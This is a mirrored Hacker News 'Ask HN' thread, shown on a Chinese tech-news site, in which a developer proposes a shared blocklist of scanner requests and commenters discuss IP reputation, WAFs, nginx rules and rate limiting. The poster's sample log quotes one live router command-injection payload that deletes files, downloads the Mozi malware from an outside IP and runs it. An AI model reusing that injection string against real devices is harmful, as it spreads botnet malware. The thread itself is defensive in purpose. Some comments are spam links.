TE
科技回声
首页24小时热榜最新最佳问答展示工作
GitHubTwitter
首页

科技回声

基于 Next.js 构建的科技新闻平台,提供全球科技新闻和讨论内容。

GitHubTwitter

首页

首页最新最佳问答展示工作

资源链接

HackerNews API原版 HackerNewsNext.js

© 2025 科技回声. 版权所有。

Ask HN: Can we collaborate on a IP Address or Regex blacklist?

36 点作者 usernamebias大约 4 年前
Hear me out.<p>I&#x27;ve recently started logging pings to my services, A LOT of servers ping me constantly checking for things like &#x27;.env&#x27; and other known vulnerabilities. I currently have a JSON dataset of about 10K entries. It looks like this.<p>{ &quot;offense&quot;: &quot;boaform&#x2F;admin&#x2F;formLogin?username=ec8&amp;psd=ec8&quot;, &quot;ipAddress&quot;: &quot;125.47.68.164&quot; },<p>{ &quot;offense&quot;: &quot;.env&quot;, &quot;ipAddress&quot;: &quot;52.224.55.198&quot; },<p>{ &quot;offense&quot;: &quot;setup.cgi?next_file=netgear.cfg&amp;todo=syscmd&amp;cmd=rm+-rf+&#x2F;tmp&#x2F;*;wget+http:&#x2F;&#x2F;115.58.115.18:53153&#x2F;Mozi.m+-O+&#x2F;tmp&#x2F;netgear;sh+netgear&amp;curpath=&#x2F;&amp;currentsetting.htm=1&quot;, &quot;ipAddress&quot;: &quot;115.58.115.18&quot; }<p>Maybe we don&#x27;t filter by ip address, and instead filter requests based on known strings (or regex). That&#x27;s what i&#x27;m currently doing. Ex. If request includes &#x27;.env&#x27;. Blocked!<p>I&#x27;d love to implement a more aggressive strategy. Rather than a reactive one. I&#x27;m currently finding myself going through server logs, and adding new &#x27;keywords&#x27; to the &#x27;banned list&#x27;.<p>Like a &#x27;ad blocklist&#x27; we can use as middleware in our HTTP applications.<p>If something exists already, kindly point me to a Github.

18 条评论

thephyber大约 4 年前
Project Honeypot has been doing this (IP address reputation scoring) for something like 16 years (disclaimer: I once worked for a sibling company and developed an early Apache module for it).<p>What you propose is very similar to what happens with email IP reputation. If you look at all of the effort that goes into verifying as few false positives and false negatives as possible, you should probably consider <i>why</i> that effort is put in. Example: what happens if a malicious user who works on behalf of a rival company to yours creates a Pull Request to your list with your customer’s IP addresses? Could you realistically identify the issue and the malicious user before it hurt your corporate reputation?<p>I don’t think your idea is bad, but you have to realize that the concept of an IP address as a proxy for an actor&#x2F;reputation is not as valuable in recent years as it used to be. With IPv6 and cheap botnet access, your list will fill up with junk when the attacker spends very little effort to add new GET&#x2F;POST rules and new clients.<p>I would recommend you spend some time considering how much you care about this particular cat and mouse game when CDNs and WAFs have already made products which cater to this need.
ggm大约 4 年前
What are you going to do, when the addresses are SAAS and your blacklist is now impinging your own use of FAANG and DC cloud hosted services?<p>What are you going to do when the addresses belong to the US mil and are being promiscuously misused by lots of ISPs?<p>What are you going to do about politically motivated and other non benign influences on the blacklist like wanting to boycott China?<p>(<i>I work in a regional internet registry so I should declare my interest i guess</i>)
评论 #26720045 未加载
评论 #26720030 未加载
评论 #26720197 未加载
trinovantes大约 4 年前
There was a GitHub repo posted sometime ago that contained a list of ASNs (basically ids of datacenters) where most attackers&#x2F;spammers come from. Simply blocking those ASNs helped the author stop almost all of their bad requests. I wish I bookmarked it but maybe somebody else can chime in...
评论 #26720145 未加载
评论 #26720133 未加载
评论 #26720229 未加载
mjbrownie大约 4 年前
I usually set up nginx to &quot;default ignore&quot; and only respond to specific paths which I can name... works for api only domains at any rate. just use an explicit subfolder like &#x2F;api&#x2F; ... cuts down on the noise.<p><pre><code> location &#x2F; { return 444; access_log off; } location &#x2F;a&#x2F; { ... }</code></pre>
评论 #26720189 未加载
bradknowles大约 4 年前
I’ve been in various security adjacent jobs over the past 30+ years, and many times I’ve been working with security experts to try to secure some service or another that my team supports.<p>IP address reputation based blocking was a concept that we saw back in the mid-90s when I was fighting spam as the Senior Internet Mail Administrator at AOL. It worked okay, for a while. It quickly became a game of cat-and-mouse, where some spammers wouldn’t care that we blocked them, but plenty others found various ways around the blocks we were implementing.<p>More than 25 years later, and the problem really hasn’t changed that much. You still get lots of people who think they can just block stuff by IP addresses and that will solve all the problems.<p>The best modern WAFs that I’ve seen in the past five to ten years are probabilistic at best. Set the rejection threshold too low, and you start getting way too many false positive hits. Set the rejection threshold too low, and too many attacks just skip right past the WAF. They are a tool you need to have in your toolbox and you need to make use of them, but they are weak protection, at best. They’re table stakes, which set a low bar for your attackers to clear.<p>Mod_Security is an excellent example of a free and relatively low effort WAF that you can implement, but there are alternatives. Fastly is a well known commercial CDN&#x2F;WAF provider, but Cloudflare has their WAF service, AWS has a built-in service, etc....<p>If you really want to be secure against attackers, you need to make sure that every layer of your code is secure. Do all the standard network scanning and fuzzing tools. Have someone play red team against your system and see if they can penetrate your defenses. Use the source code analysis tools that are appropriate for your language — Fortify might not always be the right answer. Use the dynamic application security tools like the stuff from Contrast Security, where they can scan your object code as it is running in real time and monitor for all known vulnerabilities and attack patterns, and then update that list of things to scan for in real time.<p>Make sure you actually fix the weaknesses that are turned up by these tools. It doesn’t help you to identify a bunch of problems and then just leave them unfixed.<p>The OWASP stuff is a start, but they’re just skimming the surface. This is a true deepness with no bottom.
zamalek大约 4 年前
The problem with IP addresses is that many ISPs rotate IPs between customers, especially IPv4 addresses. If an ISP starts running out of addresses, they may have to start using NAT. &quot;Privacy&quot; VPNs also do the same (by design).<p>A banned IP may be rotated to a legitimate user under many scenarios. Only ban&#x2F;blackhole IPs for a limited duration.
jrockway大约 4 年前
Good idea. It would be nice to feed these bad requests into the per-IP rate limiter and just count them as being more than one request. Fetch index.html, that counts towards the rate limit as 1 request. Fetch DROP DATABASE users.html, that counts as 1000 requests. If your quota is 120 requests per minute (the arbitrary value I picked for my personal website), you&#x27;re gone for 8 minutes.<p>How useful it is to rate limit on known attacks, I don&#x27;t actually know. I feel like you really only need one request to exploit a 0day, so it probably provides no protection.
评论 #26720275 未加载
AndroidKitKat大约 4 年前
Is this not sorta like <a href="https:&#x2F;&#x2F;www.dronebl.org" rel="nofollow">https:&#x2F;&#x2F;www.dronebl.org</a> ?
评论 #26720454 未加载
indymike大约 4 年前
You might want to head over to Shadow Server and take a look at their networking reporting. <a href="https:&#x2F;&#x2F;www.shadowserver.org&#x2F;what-we-do&#x2F;network-reporting&#x2F;" rel="nofollow">https:&#x2F;&#x2F;www.shadowserver.org&#x2F;what-we-do&#x2F;network-reporting&#x2F;</a>
kjrose大约 4 年前
Is this not essentially what cloudflare does with the IPs it is tracking? If your ip is showing abuse or problems you get knocked to the &quot;boat or bike&quot; system to at least slow you down a notch?
TameAntelope大约 4 年前
Maybe it&#x27;s just me but I tend not to worry much about these scans.
rognjen大约 4 年前
Another issue is that these are all just scripts that scan things randomly and it takes a minute to set it up on a new server.<p>That means whenever a server is compromised it&#x27;d have this type of stuff installed and it&#x27;d start running it immediately.<p>That means two things: the list would indefinitely block servers that have been compromised but then cleaned up, and you&#x27;d never get a list comprehensive enough because servers are constantly being compromised.
farazzz123大约 4 年前
<a href="http:&#x2F;&#x2F;googledrawing.com&#x2F;" rel="nofollow">http:&#x2F;&#x2F;googledrawing.com&#x2F;</a> <a href="http:&#x2F;&#x2F;howtohub.co&#x2F;" rel="nofollow">http:&#x2F;&#x2F;howtohub.co&#x2F;</a> <a href="http:&#x2F;&#x2F;4dresult.org&#x2F;" rel="nofollow">http:&#x2F;&#x2F;4dresult.org&#x2F;</a>
farazzz123大约 4 年前
<a href="http:&#x2F;&#x2F;4dresult.org&#x2F;" rel="nofollow">http:&#x2F;&#x2F;4dresult.org&#x2F;</a>
nickphx大约 4 年前
Why? It&#x27;s a fruitless endeavor. Keep internet facing things patched, limit exposure of internet facing things. If the idea of seeing those events in a log bothers you, restrict your logging to the paths you care about. :)
jpmoral大约 4 年前
Dumb question: how does the checking for .env work?
ev1大约 4 年前
abuseipdb.com
sgrinich大约 4 年前
What about a denylist?